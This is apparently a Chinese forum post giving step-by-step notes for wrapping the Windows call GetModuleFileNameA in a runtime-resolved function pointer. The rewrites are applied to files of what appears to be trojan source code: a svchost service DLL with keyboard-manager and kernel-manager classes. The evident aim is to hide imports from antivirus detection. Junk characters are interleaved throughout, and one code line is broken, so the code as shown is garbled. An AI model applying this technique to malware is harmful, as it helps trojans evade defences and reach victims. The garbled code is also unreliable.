[原创文章] 全局动态调用 全局, 动态

ice_xke

全局动态调用笔记' m) ~3 R/ \! _* @# T' p+ J
svchost files工程->插入->类(Generic Class DTDY)->DTDY.cpp DTDY.h. z! U" \: U2 c" n" m$ T4 E8 l: d
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# h, M& Y: ^: Y! J. i* [$ IDTDY.h：
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' r. d9 Y/ n; `$ j) Q1 @#if _MSC_VER>1000
: g6 Q+ Z4 g- u  Y" `#pragma once
' s3 G, V- ~7 z( W#endif //_MSC_VER>1000% I* G) \) |+ ]  h" r9 X
#include<windows.h>/ F, i0 Y7 D0 F* t+ F1 e

# S' r# C3 L& B  xtypedef DWORD (__stdcall *pGetModuleFileNameA)(HMODULE,LPSTR,DWORD);
  f- x6 A2 W! e$ \6 yclass DTDY
; C+ t8 Z$ M- q8 [7 @{
  \) U4 Q8 J+ i' H- C: Cpublic:# b0 e' f( Z' \' m" [  N
DTDY();
, O  n- Q7 a5 N) b+ pvirtual ~DTDY();
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static pGetModuleFileNameA MyGetModuleFileName;
" T! T- d/ E# s7 z9 m( Rstatic BOOL FunInitiallization();3 l8 t  A  o: [/ ~
};& u7 o7 N$ Y+ Y- ~0 m6 y# ~
#endif
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# C/ T8 L" J4 T$ ]) W/ j3 A2 ~2 z) m4 d9 x
DTDY.cpp:. L4 [- D. t2 e9 H' ~1 D
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#include "DTDY.h"
6 v% W& w$ a1 s4 e# w1 _% ApGetModuleFileNameA DTDY::MyGetModuleFileName=NULL;
0 L" C8 Y  G7 J8 W. b- ^DTDY:TDY()
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DTDY::~DTDY(). `" K# h/ X3 n& R
{
2 S* B/ W+ ^3 Q}
0 Y% A1 h! g! K9 J, @BOOL DTDY::FunInitiallization(), T' H* l( @  r5 n% R- [3 c9 d; w
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HMODULE hModule=LoadLibrary("kernel32.dll");
7 g4 s) L9 F9 A* _$ \# a6 NMyGetModuleFileName=(pGetModuleFileNameA)GetProcAddress(hModule,"GetModuleFileNameA");
! ^, @/ |, l% e# z" jif(!MyGetModuleFileName=) return FALSE;
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- }; d! n$ m" V: A9 y- ~return TRUE;& z5 F7 Z& v2 w1 R3 B
}
/ ]0 [! _' O0 {1 d9 k/ h3 i----------------------------------------8 S% L9 i" S& n
svchost.cpp:* b0 F0 C5 Z0 _4 g
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#include "DTDY.h"
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' D! c  M3 W& {, _! j: F8 A  l4 lBOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)4 @% P- J$ v  F! {( S# V/ W
{
0 ?( W3 O2 S! x& o4 ^) D% x/ ]* Tswitch(ul_reason_for_call)/ ~5 m$ ^7 F' b3 X, M4 l
{
- y+ j# V/ I; ocase DLL_PROCESS_ATTACH:
6 n2 P+ O2 ~; w- h* z9 P2 V& ?if(!DTDY::FunInitiallization()) return FALSE;1 ~/ Z" Y* n: ?. \' c
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break;
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}; t* P0 W' E( Z

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GetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));->goto def- x4 e+ h& E  |" a7 h
改写为; _5 t  z. ^/ W
DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));
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6 d' `- _& `, k' s+ I8 |3 J/ K8 \KernelManager.cpp:' t1 x( \4 M. |4 O2 {  E5 Z  a- ]
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#include "../DTDY.h"
8 k: ]. Y; i+ @3 R2 QGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));
- a) L3 G( G# z* I  M7 X改写为: Q1 s0 G1 w) b) X3 B
DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));8 v( j8 x0 J  t
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